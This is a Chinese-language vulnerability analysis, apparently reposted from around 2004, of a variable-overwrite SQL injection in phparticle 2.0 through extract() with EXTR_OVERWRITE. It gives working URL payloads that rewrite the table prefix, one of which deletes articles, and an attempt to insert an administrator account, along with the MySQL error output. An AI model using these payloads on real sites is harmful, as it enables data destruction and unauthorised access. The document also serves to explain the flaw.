萬盛學電腦網

 萬盛學電腦網 >> 健康知識 >> phparticle 2.0注入漏洞測試分析

phparticle 2.0注入漏洞測試分析

·簡單三步走堵死SQL Server注入漏洞·SQL注入漏洞全接觸(高級篇 )·經驗共享:只需三步封殺SQL Server注入·SQL注入漏洞全接觸(進階篇)·終極防范SQL注入漏洞!·SQL注入漏洞全接觸·三步堵死SQL注入漏洞·安全入門:SQL注入漏洞全接觸·簡單三步讓你輕松堵死SQL注入漏洞(圖)·金梅電影的N個SQL注入漏洞

phparticle是PHP中最好的文章系統了,好像至今還沒有被黑的記錄,我以前學習PHP的時候就是看這個文章系統的代碼,感覺和VBB很相似,而且也仔細分析過,沒有什麼漏洞,後來掌握PHP後,也就沒有再去分析他。給我的感覺是很安全的。

前段時間小花和我說phparticle有一個變量沒有初始化,我看了看,的確可以構造這個變量,而且任意一個頁面都可以的,危害嘛,我沒有能力拿到有意義的東西,但是要破壞簡直輕而易舉,唉,終於明白破壞比建設簡單的原因了。

/global.php文件開頭是這樣寫的:

<?phperror_reporting(7);

if ($showqueries==1 OR $_GET[showqueries]==1){$script_start_time = microtime();}

require "admin/config.php";require "admin/class/mysql.php";require "admin/configs/setting.php";

//var_dump($configuration);//extract($configuration,EXTR_SKIP);

extract($configuration,EXTR_OVERWRITE);

/admin/configs/setting.php文件中,變量$configuration是一個數組,是整個文章系統的配置參數,為了減少查詢次數,把數據庫的配置信息,,寫進文件,速度自然快很多,這個本來一切很正常很正常,但是一行代碼,就足以讓phparticle的數據可以瞬間消失。

extract($configuration,EXTR_OVERWRITE);

extract()函數在PHP手冊上是這麼寫的:

int extract ( array var_array [, int extract_type [, string prefix]])

本函數用來將變量從數組中導入到當前的符號表中。接受結合數組 var_array 作為參數並將鍵名當作變量名,值作為變量的值。對每個鍵/值對都會在當前的符號表中建立變量,並受到 extract_type 和 prefix 參數的影響。

注: 自版本 4.0.5 起本函數返回被提取的變量數目。

注: EXTR_IF_EXISTS 和 EXTR_PREFIX_IF_EXISTS 是版本 4.2.0 中引進的。

注: EXTR_REFS 是版本 4.3.0 中引進的。

extract() 檢查每個鍵名看是否可以作為一個合法的變量名,同時也檢查和符號表中已有的變量名的沖突。對待非法/數字和沖突的鍵名的方法將根據 extract_type 參數決定。可以是以下值之一:

EXTR_OVERWRITE如果有沖突,覆蓋已有的變量。

很顯然,這裡可以覆蓋任意變量,甚至系統變量,包括$_GET,$_POST等,真的不明白為什麼作者要把上面那行給注釋掉用這個“EXTR_OVERWRITE”。

最關鍵的變量是admin/config.php下的$db_prefix變量,這是表前綴,這個是最有用的,因為phparticle裡面的所有查詢都會在表面使用這個變量,肯定能造成SQL注入,但條件極為苛刻。從表的前綴這裡構造一個完整的SQL QUERY。然後把後面的語句給注釋掉。呵呵,說不定還可以load_file或者into outfile,竊喜~~

但是實際上並沒有這麼順利,為了更清晰的測試。我就為所有的SQL QUERY設置了一個變量$sql,然後在系統的首頁輸出,來看看首先執行的SQL語句是什麼,是SELECT就可以注入,這樣能得到很多有用的信息。甚至……,如果是INSERT更好了,直接構造語句插入一個管理員,是UPDATE也可以,把我注冊的用戶UPDATE成管理員組的角色,是DELETE嘛,就可以刪除任意數據,結果輸出的語句是“DELETE FROM pa_session WHERE expiry<1103398532 111111111”,如圖:

非常惱火,如果這個DELETE語句錯誤的話,就會顯示MYSQL的錯誤信息,並停止運行程序,根本不可能執行下一句SQL語句,惱火。而且phparticle的容錯處理非常不錯。沒辦法返回WEB的物理路徑,如果當前的用戶不是管理員,連MYSQL錯誤信息都不能看到,我在本地測試的,因為是管理員,所以MYSQL的出錯信息都返回到屏幕上,對我們測試更加有幫助,咱們構造一個完整的DELETE語句看看,成功以後,應該會繼續執行下一句SQL QUERY,我就隨便提交:

?configuration[db_prefix]=angel

結果返回:

phpArticle --------------------------------------------------------------------------------

數據庫出錯:

SQL 無效: DELETE FROM angelsession WHERE expiry<1104152890Mysql error description: Table 'article20.angelsession' doesn't exist Mysql error number: 1146 Date: 2004-12-27 @ 21:08 Script: ?configuration[db_prefix]=angel Referer:

請嘗試刷新你的浏覽器,如果仍然無法正常顯示,請聯系管理員.

錯誤了,表不存在,不過數據庫名字已經出來了,就是article20,當然實際應用是看不到這些信息的,因為phparticle有比較完善的會話檢查,所以不管浏覽或是刷新任何一個頁面,都會先對session表操作,刪除用戶的會話,更新會話,查詢會話,都會有操作,因為用戶登陸,在線用戶,還有用戶的狀態,都是用session記錄的,了解這些以後,開始構造一個完整的DELETE語句再看看下一步該怎麼做:

?configuration[db_prefix]=pa_article where articleid=1/*

返回:

phpArticle --------------------------------------------------------------------------------

數據庫出錯:

SQL 無效: SELECT COUNT(DISTINCT ipaddress) AS total FROM pa_article where articleid=1/*session WHERE expiry>1104153004Mysql error description: Unknown column 'ipaddress' in 'field list' Mysql error number: 1054 Date: 2004-12-27 @ 21:10 Script: ?configuration[db_prefix]=pa_article where articleid=1/* Referer:

請嘗試刷新你的浏覽器,如果仍然無法正常顯示,請聯系管理員.

phpArticle --------------------------------------------------------------------------------

數據庫出錯:

SQL 無效: INSERT INTO pa_article where articleid=1/*session (sessionid,expiry,value,userid,ipaddress,useragent,location,lastactivity)VALUES ('a9fdc1b9d7e37b92686fb46486b41d20',1104154444,'pauserinfo|a:1:{s:14:\"timezoneoffset\";s:1:\"8\";}','','127.0.0.1','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Maxthon; .NET CLR 1.1.4322)','/phparticle/global.php?configuration[db_prefix]=pa_article where articleid=1/*','1104153004')Mysql error description: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'where articleid=1/*session (sessionid,expiry,value,userid,ipaddr Mysql error number: 1064 Date: 2004-12-27 @ 21:10 Script: ?configuration[db_prefix]=pa_article where articleid=1/* Referer:

請嘗試刷新你的浏覽器,如果仍然無法正常顯示,請聯系管理員.

Warning: Unknown(): A session is active. You cannot change the session module's ini settings at this time. in Unknown on line 0

再看看文章系統。文章已經成功刪除。但是SQL QUERY卻停留在SELECT上面了,而且出錯信息已經終止了程序的運行,導致無法執行下一個SQL QUERY,但是從出錯的頁面看來,INSERT語句也用我們的參數執行了,如圖:

(點擊查看原圖)

我就想能不能直接構造INSERT語句加一個管理員呢?

?configuration[db_prefix]=pa_user VALUES (null, char(110, 97, 109, 101), 1, char(102, 52, 102, 48, 54, 56, 101, 55, 49, 101, 48, 100, 56, 55, 98, 102, 48, 97, 100, 53, 49, 101, 54, 50, 49, 52, 97, 98, 56, 52, 101, 57), 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 8);/*

結果返回,看來行不通,在第一句SQL QUERY的時候,就出錯終止了。

phpArticle --------------------------------------------------------------------------------

數據庫出錯:

SQL 無效: DELETE FROM pa_user VALUES (null, char(110, 97, 109, 101), 1, char(102, 52, 102, 48, 54, 56, 101, 55, 49, 101, 48, 100, 56, 55, 98, 102, 48, 97, 100, 53, 49, 101, 54, 50, 49, 52, 97, 98, 56, 52, 101, 57), 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 8);/*session WHERE expiry<1104153372Mysql error description: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'VALUES (null, char(110, 97, 109, 101), 1, char(102, 52, 102, 48, 54, 56, 101 Mysql error number: 1064 Date: 2004-12-27 @ 21:16 Script: ?configuration[db_prefix]=pa_user VALUES (null, char(110, 97, 109, 101), 1, char(102, 52, 102, 48, 54, 56, 101, 55, 49, 101, 48, 100, 56, 55, 98, 102, 48, 97, 100, 53, 49, 101, 54, 50, 49, 52, 97, 98, 56, 52, 101, 57), 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 8);/* Referer:

請嘗試刷新你的浏覽器,如果仍然無法正常顯示,請聯系管理員.

到了這個地步,我只能無奈的提交:

?configuration[db_prefix]=pa_article/*

結束了這次測試。

看來這個phparticle寧死不屈,只能揉捏她,而不能占有她啊……如果哪位仁兄能占有她,記得和我分享啊。

copyright © 萬盛學電腦網 all rights reserved